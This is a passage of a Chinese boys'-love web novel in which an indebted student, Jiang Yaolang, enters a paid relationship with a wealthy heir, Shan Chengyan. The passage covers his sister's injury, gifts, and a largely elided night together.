这对单承言来说根本不是条件,答应的话语脱口而出,满脑子都是江瑶浪答应了他的惊喜,满脑子充斥着成功把江瑶浪拐回家的狂喜。
单承言把放于江瑶浪腰上的手上移,包住他的后脑,然后后退半步,低头激动地吻上了江瑶浪的唇。
他轻轻咬住江瑶浪饱满的唇珠,留下一个浅浅的印子,似乎是怕他疼,于是又改用舌头去安抚,江瑶浪被他舔得很痒,选择主动启唇,将作乱的舌引进门。
搅弄的粘腻水声与鼓动的心跳声在寂静狭小的楼梯间里被放得很大,来不及吞咽的液体自江瑶浪的嘴角晶莹滑落,换气的频率跟不上高频的掠夺,江瑶浪抬手拍了拍单承言的背,示意他停下。
单承言不舍地将唇剥离,看到江瑶浪被他亲得唇红脸红,心里得意得要死,垂眼又留意到嘴角残留的液体,于是凑近舔去咽下,然后顺势而下,赖在脖颈间密密舔吻。
可惜的是,没亲多久就被江瑶浪抓着头发揪了出来,他不悦地瞪向自己:“你不要留印子!”
单承言松手投降,而后又把手放回了江瑶浪的腰间,抱住人哄:“不亲了,我抱会。”<
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p>确实没有再亲,但那只大手一直在不老实地摩挲,甚至蠢蠢欲动地要往衣服里钻,江瑶浪被他闹得没脾气,于是卸力靠在单承言身上,让单承言单手托着他。
他把额抵在单承言未受伤的肩膀上,声音闷闷的:“所以为什么是我?你身边不缺人吧。”
是不缺人,单承言心想,但是那些人怎么能和江瑶浪比,在没遇见江瑶浪之前他甚至不知道自己对男的也能感兴趣。
他想实话实说,说他从看到那张宣传单的时候就已经对他感兴趣了,所以冲动地把人叫回来,明面上是给侄女庆生,实际只是在满足自己任性的私欲。
他就是想看看江瑶浪长什么样。
他也没想过真人会比他想象中完美百倍,要怪就怪江瑶浪自己,干嘛长得这么好看,干嘛哪哪都长在他的审美点上。
江瑶浪生来就该是自己的。
因此,哪有这么多为什么,他就是见色起意,恨不得在第一次见面时就把人骗上床。
他是家里的幺子,优渥的生活给了他许多的特权,他没有压力,没吃过生活的苦,别人垂涎的贵重物品,他唾手可得。
因此他从小就知道,想要什么就去买,因此他从小就知道,他能买得起很多东西,因此他从小就知道,钱能解决世界上几乎所有的困难。
少爷没喜欢过人,更没追过人,再加上参考了李聿鸣和小主播的相处模式,让他下意识认为,用钱解决是满足他的需求的最优解。
快速,且稳固。
更重要的是,江瑶浪他不是缺钱吗,跟着他只享乐不吃苦,他很会玩,他有自信能让两个人都能过得很舒心。
至于江瑶浪说的包养……可能形式差不多吧,但是他又不会强求江瑶浪做他不愿意的事情,他会给他最大限度的自由,只要他继续留在自己身边。
所以单承言根本无法理解江瑶浪为什么要拒绝自己,还让他丢了好大的面子。
他又回忆起江瑶浪毫不留情甩向他的那一巴掌,脸上的疼不算什么,无法忍耐的是内心的刺痛,与不服。
江瑶浪凭什么这么冷静地嫌弃自己。
凭什么只有自己一人夜不能寐,费尽心思。
那时难堪的心情让他口不择言,编造出此生说过最离谱的谎言:“你长得像我的白月光。”
才不是,根本没有,你就是我一眼认定的人。
“那你怎么不和他在一起?”江瑶浪依旧淡漠,平静地问。
单承言此时心绪纷乱,但说出去的话也不能憋回来,只能用另一个谎言继续圆下去,完全没有留意到,他想让江瑶浪体会到同等难堪的目的没有达成,甚至相差甚远,只有他一个人在着急忙慌。
想了半天,单承言说:“出国了呗。”
“你不差钱,又不差时间,喜欢的话为什么不去追。”
很有道理,单承言无法反驳,所以他眼睛一闭,说:“死了,死好多年了。”
江瑶浪没再说话,只是小幅度地点了点头。
就像在被山雀轻啄,很软很轻,而心被重击。
于是单承言又要吻他。
只是这次江瑶浪选择了自己主动,他把手抬高,搭在单承言的后颈,把他的头下压,指尖舒缓地敲击着节奏,唇舌在温柔缠绵。
他就这么把自己卖了出去。
所以啊,江瑶浪,你明明清楚的。
普通人挣扎一辈子,也只是上等人的玩物。
14. 第 14 章
江瑶浪把江瑶清背到医院门口,单承言安排的埃尔法已经开好了门,他帮着江瑶浪把江瑶清放在左后座,等江瑶浪也上车后,帮他们把门关了,才走去副驾驶,开门上车。
单承言对家里的司机报了江瑶浪住的小区名,然后向后扭头问江瑶浪:“具体是哪一栋啊?”
江瑶浪回复:“6栋,麻烦师傅导航到南门,进门后第一个路口左转,往前数第二栋就是了。”
车辆启动的时候,江瑶清伸手牵着江瑶浪,无声给他安慰,江瑶浪对她摇摇头,示意自己没事。
路上无言,得益于车辆极高的舒适程度以及司机精湛平稳的驾驶技术,江瑶浪在这段路程里没有太难受,只是手心仍会微微冒汗,而这时,江瑶清就会捏捏他的手指。
江瑶浪家在五楼,他稳稳地背着江瑶清一步步向上走,而单承言却也无比自然地跟在他身后,亦步亦趋地爬楼梯。
老小区的环境一般,楼道昏暗狭窄,声控灯时灵时不灵,单承言打开手机电筒为他们照明,视线明亮的那一刻,江瑶清更用力地抱紧她哥,把脸贴在江瑶浪颈侧未消的暧昧红痕上。
妈的。
江瑶清和单承言同时在心里骂了一句。
*
“哎呀!小浪!”
还差几阶楼梯的时候,小玲姐着急的声音传来。
江瑶浪快步走完剩下的台阶,小玲姐也已经来到了他们的身前,她先是摸摸已经抬起头的江瑶清的脸,又摸摸江瑶浪的脸,然后视线由上往下顺着看,最后落在江瑶清受伤的右脚上。
“怎么了呀这是!”小玲姐心疼地看着他们,然后又解释自己的来意,“我昨天看小浪惊慌失措地往外跑,我就知道出事了。”
“后面又刷到车祸的消息,你们两个要吓死我呀!”
“我们没事,小玲姐,进屋聊吧。”江瑶浪换了个姿势,单手托着江瑶清,用空出来的手掏出钥匙,打开了门。
他招呼小玲姐随意坐,然后把江瑶清放在沙发上,至于单承言?这人已经很自觉地坐在沙发旁的豆袋上,然后用目光巡视着这个面积不如他装备室大,但温馨干净的家。
江瑶浪先是进了厨房给他们拿了水,然后又走出家门,蹲在屋外组装轮椅。
而小玲姐坐在江瑶清的身旁,握住她的手,追问缘由:“小清不怕,跟小玲姐说说,这是怎么了呀?”
她又看向见过一面的单承言:“你怎么也受伤了?还跟着小浪小清回来。”
于是江瑶清一一向小玲姐解释,说自己是心急救人误入事故,意外受伤,但离肇事车辆有点距离,加上躲避及时,所以只是轻微骨折,并无大碍。
至于伤了手的单承言,他也是被卷入事故中的一员,两人都是同一家医院的伤患,再加上和江瑶浪也认识,所以就一起回来了。
听到江瑶清隐瞒了事实,给自己安排了一个逊色的身份,单承言不爽地挑眉,不过他也没有反驳,而是忍了下来。
了解了事情的前因后果,小玲姐才算放下心来,但接着她又问:“那你受伤的这段时间怎么办?伤了脚可麻烦哩。”
“我哥照顾我呀。”江瑶清说。
“这多不方便呀!你们俩都这么大了!”小玲姐不悦地皱眉,“听话,这段时间你就先跟小玲姐住一块。”
江瑶清觉得有点为难,恰好这时江瑶浪推着轮椅进门,看到还在劝说的小玲姐,他问:“怎么了?”
“小浪呀,我在和小清说,让她这段时间就先住在我那里,小清也是大姑娘了,多多少少还是不方便的呀。”
关于这一点,江瑶浪其实也考虑过,他本来是打算找一个临时护工,但是小玲姐愿意帮忙的话那肯定是更好的。
所以江瑶浪答应了下来,说:“那就麻烦小玲姐了,我按照护工的市场价结钱好吗?”
“你这孩子!你要给钱的话我就要生气了!”小玲姐假怒,“那点钱自己存着玩吧,不过,你要是真觉得过意不去,就帮我看店吧!”
江瑶浪心里一暖,答应下来:“好,谢谢小玲姐。”
见事情已经安排好,行动力拉满的小玲姐让江瑶清先休息会,她要先把江瑶浪带下三楼,等收拾好房间再上来帮她收拾衣物。
*
随着江瑶浪和小玲姐的离开,客厅的气氛瞬间变得剑拔弩张。
江瑶清记得这个骑车的高富帅,当初见他第一面的时候就觉得他和自己哥哥不对劲,只不过那时哥哥的态度一般,所以也就不以为然。
结果这个不要脸的,还是赖上了她哥。
最终推手甚至还是她自己。
她抱臂,率先发言:“花和玻璃是你送的?”
见江瑶清提到了他刚刚仔细观察都没发现的物件,单承言不免有些得意,心想说不定江瑶浪是放房间里去了,所以自己才没看到。
念及此,他心情很好地开口:“是啊,你哥放房间里去了吗?”
“做梦。”江瑶清笑他痴心妄想,真放房间里了自己还能知道这两东西的存在?
“那放哪里了?”单承言追问。
“被我哥丢了。”
单承言不信:“你丢的?”
江瑶清不屑地哼了声,懒得正眼看他:“你把他惹恼了,还能指望他把你的东西留着?”
说罢,她看向隐约破防的单承言,伸手拿起茶几上的江瑶浪专属小糖罐,从里面挑出来一颗橙子味的,剥开糖衣喂进嘴里。
然后含着糖,盛气凌人地说:“你以为你今天是因为什么才能进这个门?”
单承言气急败坏,但是想到惹自己生气的是自己的小姨子,他也就压下了火气,异常大度:“你也知道自己对你哥重要,以后好好保护自己,别让我们担心。”
江瑶清被他这种正宫般的话语恶心得不行,但又不能不承认除了最后一句,其它的说得都很正确。
她沉默片刻,真心实意地说:“你们俩不合适。”
单承言不服:“不处处怎么知道不合适。”
“挟恩图报。”
单承言无所谓过程,只在乎结果:“反正你哥答应了。”
江瑶清看向过度乐观的单承言,完全不知道江瑶浪在选择答应的那一刻起,他就已经被江瑶浪判了死刑,还在乐呵呵地妄想和她哥发展感情。
“呵呵。”江瑶清高深莫测地冷笑两声。
然后故意给他添堵:“我哥的前任和你可不太一样呢。”
前任,又是那个阴魂不散的前任,都前任了能不能赶紧死一边去。
单承言不爽又嫉妒,他嘴硬:“无所谓,现在能亲你哥的是我。”
“呵呵。”江瑶清又在冷笑,笑过以后开始沉默。
单承言也不说话了,他心里那团火越烧越旺。
再聊下去能把自己烧死。
他掏出手机,给李聿鸣发微信。
【S.】:你给你家小主播一个月多少钱?
【早安小宝】:你问这个干嘛?
【早安小宝】:天仙答应跟你了?
【S.】:给多少?
【早安小宝】:一个月起码刷个一百万的礼物吧。
【S.】:行。
【早安小宝】:有时间带
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出来见见啊。
【S.】:看心情
【早安小宝】:你现在在哪呢?
单承言举起手机拍了一角客厅,然后发了过去。
【S.】:[图片]
【早安小宝】:你这行动力,这就进人家里了?
【早安小宝】:看着挺小啊。
【S.】:大学城附近的房子,你帮我留意一下。
【早安小宝】:啧啧啧
单承言没有再回。
刚结束和李聿鸣的聊天,沉默许久的江瑶清又说话了。
“喂,谢谢你救了我们。”
出乎意料的,居然是一句道谢。
单承言的气一下子就顺了,他说:“那种情况下,不管是谁我都会去救。”
“你不要欺负我哥。”江瑶清很认真地警告。
单承言本来就把江瑶浪当宝贝看,怎么可能欺负他:“你就别操这个心了。”
“我会对他好的。”
*
江瑶浪带着小玲姐回来的时候,两人和平地互不干涉,都在玩着手机。
江瑶浪把江瑶清带上轮椅,然后把她推进房间,小玲姐也跟着进去,帮着江瑶清一起收拾东西。
他刚从江瑶清房间出来,就被单承言扛起抱回沙发上,激烈的吻随之而来。
单承言把刚刚压抑的火都反馈在江瑶浪身上,江瑶浪还没反应过来,就被人按倒在沙发上亲,他有点懵,但还是趁着换气的间隙,理智劝说:“你动静小点。”
“你冷落我。”单承言边亲边含含糊糊地说。
“什么?”
“从进门到现在,你只跟我说了两句话,还是在我撬开了你的嘴以后。”单承言有理有据地控诉。
然后提出要求:“你要哄我。”
江瑶浪躺平任亲,敷衍地哄:“好好好。”
“我要吃糖。”
于是江瑶浪艰难地伸手,摸到自己的糖罐,在里面挑了颗柠檬味的递过去。
单承言不接,幽幽地盯着那颗柠檬糖,提出了更具体的要求:“我要吃橙子味的。”
江瑶浪把糖放了回去,然后摸了颗橙子味的递过去。
单承言还是没接,提出了有点过分的要求:“你喂我。”
江瑶浪撕开糖衣,把糖抵在单承言嘴边。
结果单承言还是不接,只是一味地盯着江瑶浪的嘴,提出了非常过分的要求。
“你用嘴喂我,好不好?”
江瑶浪不知道他在闹什么脾气,但还是乖巧地把低头把糖吃了,然后在两唇相触后用舌尖把糖果推了过去。
羊入虎口,自然少不得被一顿蹂躏,结束后江瑶浪感觉自己的舌根都在发麻。
他躺倒在沙发上,一双黑眸水盈盈:“这算哄好了吗?少爷?”
单承言不语,只是隔着衣服咬在江瑶浪的肩上。
江瑶浪觉得疼,下意识伸手推开他作乱的头。
“哪儿来的小孩。”
单承言顺杆往上爬,凑到江瑶浪耳边说了个暧昧的身份。
江瑶浪被气笑了:“你是不是脑子也撞坏了?”
“是啊,满脑子都在想你。”
江瑶浪不想理他。
单承言自己倒是开心,抱着人笑不停。
温存过后,他往江瑶浪手里塞了张卡。
“里面应该还有两百来万,密码是一到六,你有想买的就刷它,好不好?”
江瑶浪收下了,抬头亲了下单承言:“好啊,谢谢少爷。”
单承言终于满意了,安心地抱着人回吻。
15. 第 15 章
江瑶浪联系上借过钱给他们的亲戚,把余下的欠款都转了过去,还额外多给了点,有些亲戚收了钱后还关心了他们兄妹两句,有的干脆没有回复。
然后他买了水果和牛奶,去了趟房东家,把剩余的二十来万尾款转进房东的银行账户。
按照合同的约定,这笔钱本应该在一年前就付过去,但是房东体谅他们两小孩不容易,也就没催,只是让江瑶浪每个月付两千块,直到尾款结清。
房东收了钱,很有分寸地没多打听这笔钱是怎么来的,而是恭喜他们终于有了自己的房子,也祝福他们从今往后的生活一切顺利,平平安安。
再然后,江瑶浪按照约定,把手上的工作都辞了。
这些事情处理完,江瑶浪没感觉到开心,也没觉得疲累,无知无感地回了家,然后卷着被子睡了一整天。
*
江瑶浪是被单承言闹醒的。
那日离开前,单承言要走了他家的备用钥匙,江瑶清借住在小玲姐家,倒是方便了他不请自来。
没有干净的衣服给单承言换,所以他也不敢上江瑶浪的床,而是蹲在床边,单手笨拙地给江瑶浪编发。
江瑶浪就是这样被他玩头发玩醒的,他用手抓过那条歪歪扭扭的小麻花辫看了一眼,评价了一句:“好丑。”
他把辫子塞回给单承言,警告他:“你别把我头发弄打结了。”
然后他翻身抱着枕头,把头发都留给单承言玩,而自己准备再睡会儿。
单承言当然不乐意只玩头发,他拽了拽手中的丑辫子试图吸引江瑶浪的注意。
江瑶浪没理他。
于是单承言掀开江瑶浪的被子,把人拢向自己,江瑶浪赤裸上身睡觉的习惯极大方便了单承言,他开始嘬吻江瑶浪竖脊肌上那两颗豆豆眼一样的小痣,直到把那一小块皮肉吮红,才大发慈悲地松嘴。
单承言把他的杰作拍了下来,然后让江瑶浪转过来看红脸豆豆眼。
江瑶浪的腰本来就敏感,没清醒就被人又嘬又舔,结果忍了半天忍来一张让人无语的照片。
“你好烦啊。”
江瑶浪的声音带着困意,有点哑,有点黏,因为感到无奈所以拖长的语调让单承言确信。
他在对自己撒娇。
“小猪,爱睡懒觉的撒娇小猪。”单承言用手指戳了戳那个红脸豆豆眼,含笑说出了自己的心中所想。
被肉麻到的江瑶浪认输般掀开被子,盘腿坐在床上:“所以,少爷一大早来找我做什么?”
单承言伸手,用手指从腹肌处往上一路作乱,最终停在光洁的脖,他用拇指摩挲江瑶浪的喉结,说:“瑶瑶,你觉不觉得自己缺一条项链。”
江瑶浪了然,说:“那你给我戴上。”
“瑶瑶好聪明。”
获得同意后,单承言拿出首饰盒打开,从里面挑出细链,他解开卡扣对着江瑶浪说:“瑶瑶,靠过来一点。”
江瑶浪往前挪了一下位置,然后把头发搂至一边,俯身低下头。
单手不太好操作,单承言扣了好几次才帮江瑶浪戴好了项链,江瑶浪直起身,项链末端的蜂巢状金属正好垂在他弧起的胸前。
项链很细,但明亮式切割钻石搭配着镜面抛光工艺,让这条白金项链折射出让人无法忽视的璀璨光彩,它轻轻伏在江瑶浪的胸上,净白交融,衬得肌肤愈发细腻通透。
单承言很满意佩戴后的效果,他问江瑶浪:“瑶瑶喜欢吗?”
江瑶浪朝他微笑:“它能让你开心,所以是喜欢的。”
单承言觉得这个表述很奇怪,但是他没有细想,江瑶浪承认喜欢,并且愿意把他送的东西留在身体上,这个认知足以让他感到兴奋。
他又想凑过去亲,被江瑶浪无情阻止。
江瑶浪说:“我没刷牙。”
“我又不在意。”
江瑶浪无语:“我嫌弃。”
单承言只能放弃:“好吧,爱干净的瑶瑶。”
江瑶浪下了床,走进浴室,单承言还想跟着一起进去,下场当然是被江瑶浪伸手止在门外。
“你觉不觉得你有点太粘人了。”
单承言也觉得自己的状态不对劲,但他就是想寸步不离地跟着江瑶浪。
他控制不住自己的身体,更控制不住自己的心。
单承言叹气:“我也不想这么不要脸的,但是一见到你,我就感觉自己开了自动跟随……”
江瑶浪无情地关上门,声音从门后清晰传来:“真是可惜,这片区域目前不对你开放探索。”
*
江瑶浪从浴室出来后,就被等在门口的单承言逮着亲,等他亲完,江瑶浪给妹妹发了个微信,问她起床没,早餐想吃什么。
江瑶清回复得很快,她说她已经和小玲姐吃过了,不用管她。
见妹妹已经吃过早餐,他也懒得进厨房自己做了,江瑶浪准备出去吃,顺便对照着食谱买材料回来煲汤。
他看向埋在自己胸前玩项链的大少爷,说:“我准备出门吃早餐,你要一起吗?”
闻言,单承言站直,把江瑶浪单手抱起,为了迁就他那只吊起来的伤臂,江瑶浪主动把腿交叠圈住单承言的腰,双手撑在他的肩膀,给伤臂腾出来一个空间。
单承言边抱着人往房间走,边嫌弃这只伤手,让他不能如愿和江瑶浪贴贴。
江瑶浪戳着单承言的发旋,说:“什么毛病。”
单承言又亲了一下江瑶浪鲨鱼线上的小痣,惹人轻颤,说:“欲求不满的男人都这样,瑶瑶你只能忍忍了。”
他把江瑶浪放回床上,然后打开衣柜门在里面挑挑选选,给江瑶浪选了一件波嬉风白色提花V领薄毛衫,下装则是抽绳设计的深蓝阔腿裤。
单承言把衣服放在江瑶浪的手边,难得绅士地转身离开,还带上了房门。
江瑶浪很快换好衣服出来,还用蓝白色的丝巾给自己扎了一个半丸子头,单承言伸手帮他把蜂巢项链勾出衣外,调整了一下位置。
“很早之前我就好奇了,为什么你要留这么长的头发?”
江瑶浪双手松松地搭在单承言的肩上,歪头问他:“不好看吗?”
“好看。”
“对啊,这就是原因。”江瑶浪又说,“大概十六岁的时候吧,学着别人捐发,剪短过一次,但后来还是觉得长发比短发好看,所以就又蓄长了。”
单承言痴迷地看着他的脸:“人美心善的瑶瑶。”
“我说单少爷,能说点别的调情话吗?”
“唔,”单承言认真想了下,说,“那我以后给你编发好不好?”
江瑶浪想起那条丑辫子,嫌弃地说:“你给我编头发……我怕我秃头。”
“不会的,”单承言笑出声,“秃了也给你植回来。”
江瑶浪踢了他一脚:“死开。”
*
两人出门的时候已经九点半,江瑶浪带单承言去吃了碗鸡汤小馄饨,吃完后走进超市买食材。
江瑶浪准备学着给江瑶清煲三七当归鸽子汤,他在超市挑了只新鲜肉鸽,送去让阿姨帮忙砍小块,又选了点贝贝南瓜和丝瓜,三七和当归得去药
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店买,于是他结过账后走去药店,让药师给他抓了各十克的药材。
在他采购的过程中,单承言又是积极付钱,又是抢着拎东西,江瑶浪想要自己拿,他还不愿意。
单承言笑嘻嘻地说:“一会也分我一口汤呗,我也骨折呢。”
“分,分你一碗。”
江瑶浪信守承诺,汤炖煮好后先分了一碗给单承言,然后把整个炖锅端下三楼,拿给江瑶清和小玲姐。
被抛下的单承言看着手中这碗被细心撇去油的清汤,不顾滚烫,慢慢喝完了。
他把碗洗干净,放在沥水篮里,然后离开了江瑶浪的家。
*
午饭后,江瑶浪到店里帮忙,除了他以外,店里还有一个来兼职的员工,叫徐笺,是正被高数狠狠折磨的男大学生。
店里没什么人,江瑶浪在擦盘子,徐笺就在研究他的数学题,他想让江瑶浪教教他,江瑶浪回他:“英语还能教,高数的话我也没学过呀。”
“浪哥你居然是文科生吗?”
“看不出来啊?我学的教育学。”
“唉,”徐笺叹气,“当你的学生一定很幸福。”
“也不是吧,有些小孩还是很调皮的。”在江瑶浪当家教的这几年,确实也遇到不少让人头疼的孩子,坐不住也不愿意听,废了他好大劲。
“那是他们还没开智,以后懂事了,看着你这张脸,你这身材,谁能不听话啊,不像教我们高数的那个老头……”徐笺哀嚎,“上他的课简直是折磨。”
“哎说起来,浪哥你也大四了啊,毕业后打算干嘛。”
“还没想好呢,看看到时候能干什么吧。”
对于毕业后的打算,江瑶浪没怎么考虑过,身边人都在实习的时候,他没去,也不是没有岗,只是单纯嫌弃赚太少,还得倒贴,他以前的生活不支持他这么干。
而文科生的就业环境也比较糟糕,最初选这个专业的时候,也是起了考公或者当老师的心思,可惜的是现在的他,早已没这么高的觉悟去服务人民。
未来的事,走一步算一步吧。
*
接下来的一段时间,小玲姐彻底当了撒手掌柜,把店托付给江瑶浪,她则是专心照顾江瑶清,推着江瑶清满小区吃瓜。
单承言还是爱跑到江瑶浪家里来粘他顺便蹭饭,偶尔也会带江瑶浪出去吃。
单承言领到了政府给他颁发的见义勇为证书和二十万的奖金,他手术后打着石膏的照片登上新闻的当天,他爸龙颜大悦,给他打了两千万。
单承言拿这两笔钱提了一辆蓝紫色哑光漆的玛莎拉蒂GT2 Stradale,又想到江瑶浪嫌弃跑车空间小,于是多选了辆全黑的玛莎拉蒂Levante GT,GT2 Stradale没有现车,而Levante GT则是被他丢进了改装厂,要求换个轮毂,改一个大卡钳。
他把买车剩下来的钱全打进了他给江瑶浪的卡里,然后摸进江瑶浪的房间,从衣柜里拿出一套自己的睡衣,洗过澡以后和江瑶浪一起挤床上。
取内固定的那天,是江瑶浪陪着他一起去的,单承言活动了一下处于恢复期而异常无力的手,又指着横在上面的伤疤。
“丑吗?瑶瑶?要不然我还是祛掉吧。”
江瑶浪握住他的手,低头吻遍伤疤,然后抬眼看他:“你一个男人,多几条疤怎么了?”
单承言被勾得不行,伸手揪了揪江瑶浪的长睫,一口咬在江瑶浪的脸颊肉上。
“别挑逗我了,瑶瑶。”
“真的会把持不住。”
16. 第 16 章
等到江瑶清脱离拐杖,独立上学的那周。
单承言终于成功把江瑶浪拐回了他新装修好的公寓里。
公寓离江瑶浪的学校很近,买来的时候就是精装修大平层,但单承言任性地只保留必须存在的承重墙,其余全部舍弃,打穿主卧次卧和客厅,改成了开放式大横厅,整体是深色的意式轻奢风,最显眼的是镶嵌了灯带的烤漆地台上,铺设着黑橄榄色床品的定制大床。
香薰机静默运作,机器顶端喷吐出水生调的氤氲雾气。
单承言挥亮玄关处的壁灯,帮江瑶浪取下围巾与大衣。
“瑶瑶,欢迎回家。”
“这是海风的味道吗?”江瑶浪嗅闻着空中的淡香。
“嗯?”
“香薰。”
“你是小人鱼,怎么会没见过海呢?”单承言的手指插入江瑶浪的指间,与他十指紧扣,然后抬手翻转,吻在江瑶浪的手背上。
“我带你去看海。”
“但要在今晚之后。”
……
“少爷,先洗澡啊。”
“可是宝宝,我好难受。”
……
只是他并未因此变得柔软,江瑶浪凑近单承言的耳鬓,呼出一句话。
“帮我洗头发,好吗?”
……
单承言呼吸一窒,抬头威胁:“瑶瑶,你不要再撒娇了。”
“嗯?”
“我还想于今晚与你相拥而眠。”
江瑶浪逗狗般摸他仰起的下巴:“少爷,先洗澡。”
*
单承言抱着江瑶浪一起进入放满热水的按摩浴缸内,他让江瑶浪睡躺在自己身上,然后如江瑶浪所愿帮他搓洗头发。
……
轻柔的是十指,它们穿梭发间,按摩头皮,发丝被绵密的白色泡沫包裹,释出甜香。
“……是橙子味。”
“宝宝好棒,猜对了,”单承言给予他肯定,又说出用意,“这是我用来讨好你的。”
“你喜欢吗?”
……
手指从发间离开,改圈江瑶浪柔韧的腰,然后翻身颠倒两人的位置,单承言将江瑶浪按入水下,突如其来地袭击让江瑶浪在水里呛出泡泡,他用力攀着单承言的背让自己浮出水面,却再一次被单承言拖入水中。
如梦里所做千百次,他用拇指顶开江瑶浪的唇齿,将手指探进口腔软肉,玩弄起他湿热的舌。
在江瑶浪因缺氧意识迷蒙之际,他攻入唇间,为他渡气。
单承言托起因失力而下滑的躯体,让江瑶浪的鼻离开水面,得以呼吸。
亲吻结束后,江瑶浪才算是重获呼吸自由权。
他急促喘息,腹肌剧烈收缩,江瑶浪用尽全力扇了单承言一巴掌。
单承言被扇得一歪,左脸迅速发烫变红,他不恼,而是抓起江瑶浪发软的手放在完好的右脸。
“瑶瑶,你可以再打一巴掌。”
“因为我还有更过分的事情想对你做。”
*
单承言站在江瑶浪的身后,耐心地用暖风吹干长发,他关闭吹风机,五指作爪状由发根一顺到底,然后挑起发尾置于鼻尖,深嗅残留的甜香。
“我说我要学着给你编发。”单承言从梳妆台上取出通体冰透的翡翠发簪,用手把散落的发拢成一个低马尾,他不太熟练地用发束围着簪子绕了三圈,然后小心地让簪身穿过盘起的发包。
他握住身前人光裸的肩,看向镜中盘起发的江瑶浪。
“后来发现好像只有这个比较简单。”
“只是很可惜,你看不到它。”
江瑶浪转过身与他接吻,抬手摸上花苞状的发团。
他被含着舌头,模模糊糊地说:“没关系,我能感受到。”
*
……
“你能不能……先去漱口。”
单承言气笑了,却还是任命地起身。
作乱者云淡风轻,抬手抹去溢出的泪。
……
江瑶浪取笑他:“你究竟有多喜欢橙子味的东西。”
“我以为你喜欢。”
“我是喜欢吃那个糖不错,但也不至于全方面被橙子入侵吧。”
“那单承言可以吗?”
“嗯……”
“不可以拒绝。”
“好霸道啊,少爷。”
单承言怜惜地把唇压覆在江瑶浪的眼尾,濡湿长睫,沉甸甸地住进一个人,让江瑶浪的眼睛变得好重。
“好可怜,都红了。”罪魁祸首假慈悲。
*
香薰前调已过,替代清新海风的是馥郁花香。
单承言伸手拿起夹在两人身间的绸缎布料,将它展开,让颈带穿过江瑶浪微乱的盘发,落在颈肩。
“第一次看你穿围裙,是在小玲姐的店里,那时候你在背对着我拉花。”
……
单承言亲亲闭眼休息的江瑶浪,语气温柔:“辛苦了。”
*
江瑶浪被摁进餐桌时发现,初雪无声而落。
……而他透过窗帘的缝隙看到屋外飘着细雪。
“单承言,下雪了。”
这句话比所有的求饶都奏效,身后人的动作终于停下,单承言面对面抱起江瑶浪走至落地窗前,一手拉开遮光的帘。
雪不大,只给天地覆上一点白。
他们在初雪的见证下,交换了今夜最温柔的一个吻。
“江瑶浪,我喜欢你,好喜欢你。”
江瑶浪没有回应这句话,只是再度吻上他的唇。
……
*
意识清醒的时候,江瑶浪觉得自己的身体还在飘着。
他闭着眼伸手摸索自己的手机,想看看时间。
结果手机没摸到,伸出去的手却被一只大手擒获。
单承言咬咬他的指尖,对他说:“中午好,瑶瑶。”
江瑶浪问他:“几点了现在?”
“快一点了,小猪好能睡。”
江瑶浪拽起被子闷住自己,声音从被窝里传出来:“我有早八的时候你不能这么闹我。”
单承言也跟着钻进被窝,抱着人,咬着耳朵:“我们不上了。”
“缺学分,毕不了业。”
“那我给你们学校捐楼,一栋不够的话就捐两栋,让他们给你评个校级优秀毕业生。”
“捐三栋吧,帮我把毕业论文也写了。”
“好,再捐个球场,到时候你做优秀毕业生发言代表,我去给你送花。”
“有病。”
“嗯,你惹的。”
江瑶浪只醒了很短时间,很快又再次睡去,单承言把他搂进自己
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怀里,抱着安睡的人,放任意识沦陷。
再醒已是下午四点,窗帘的遮光性极好,室内还是昏暗一片。
单承言摸摸江瑶浪平坦的小腹,问他:“饿不饿?我点了粤式茶点,你不想吃的话我们就出去吃。”
“都点了什么?”
“大部分都有,虾饺凤爪松糕这些。”
“红米肠呢?”
“有的。”
江瑶浪翻身,四肢大张,让自己如煎饼一样摊在床上:“我再躺会就起来吃。”
说是说再躺一会就起,但意识很快又迷蒙,单承言看他欲睡不睡的迷糊样,下床去衣柜拿了套睡衣帮他穿上,然后干脆利落地把江瑶浪抱去浴室,让他坐在洗漱台上,亲手为他刷牙洗脸。
“瑶瑶变成小宝宝了。”
江瑶浪还在小鸡啄米,嘴倒是不饶人:“这怪谁?”
“怪我,我负责。”
江瑶浪哼哼。
*
吃食都在保温箱里温着,取出的时候依然新鲜。
单承言沏了一壶茉莉花茶,往江瑶浪的茶杯里倒了七分满。
江瑶浪把沾了花生酱的红米肠一口吞下,然后端起茶杯喝了。
单承言给他续上茶,让他慢慢吃,自己则挑了个叉烧包慢慢撕着嚼。
“你怎么不吃那个?”江瑶浪用筷尖点了点那笼巧克力核桃包。
“瑶瑶这是什么意思?”
“据说吃核桃对骨折好呢。”
“瑶瑶真的是这么想的吗?”
“子非我,安知我之所想?”江瑶浪自己也拿了个核桃包吃,“就算是霸道的少爷也不能随意污蔑人呢。”
“抱歉,江老师,是我错了。”
为了赔罪,单承言剥开一个糯米鸡,递到江瑶浪嘴边,想喂他吃。
江瑶浪咬了一口油润软糯的糯米,然后说:“只想吃咸蛋黄。”
于是单承言把里面的咸蛋黄挑出来喂给他,自己把剩下的吃完了。
单承言还想继续投喂,被江瑶浪拒绝了。
“喂上瘾了?”
单承言承认:“是啊,再喂一段时间我就去考一个幼师证。”
“到时候更专业地照顾你,好不好?”
“有这心思不如去照顾你的小侄女。”
想到单诺真,单承言就想笑,他俯身过去抱住人:“你说她要是知道我们俩搞一起了,会不会被气死。”
江瑶浪不理解这种捉弄小孩的快感,抬手捏住他的下巴左右摇了摇,说:“那你可要瞒紧了。”
他低头亲向分明的指节:“我偏不。”
说罢,单承言起身拿回自己的手机,学着网上的官宣模板,用尾指勾住江瑶浪的尾指,正准备拍下,却发现两人的手指都光秃秃。
单承言猛地站起,把江瑶浪也牵了起来:“走,我们去买戒指。”
江瑶浪拒绝了这个方案,坐回餐桌边,低头取下脖子上的细链。
他把链子缠绕在两人的指间,然后主动勾起单承言的尾指晃了晃。
“拍吧。”
*
单承言的朋友圈新增了一张照片。
是两只有肤色差,但同样骨节分明的手在亲密地勾手指,连接彼此的白金细链熠熠生辉,缱绻异常。
该内容发布于北京时间20:20。
17. 第 17 章
群聊:钱砸群里听个响(6)
【吃瓜玉玉】:@S.?
【早安小宝】:@S.?
【哥哥】:@S.?
【弟弟】:@S.?
【小春小春】:@S.?
【S.】:[红包]
【S.】:[红包]
【S.】:[红包]
【S.】:[红包]
【S.】:[红包]
【S.】:别问
【吃瓜玉玉】:谢谢老板
【早安小宝】:谢谢老板
【哥哥】:谢谢老板
【弟弟】:谢谢老板
【小春小春】:谢谢老板
【S.】:已阅
【早安小宝】:这就答应你了?
【小春小春】:@早安小宝 你知道?
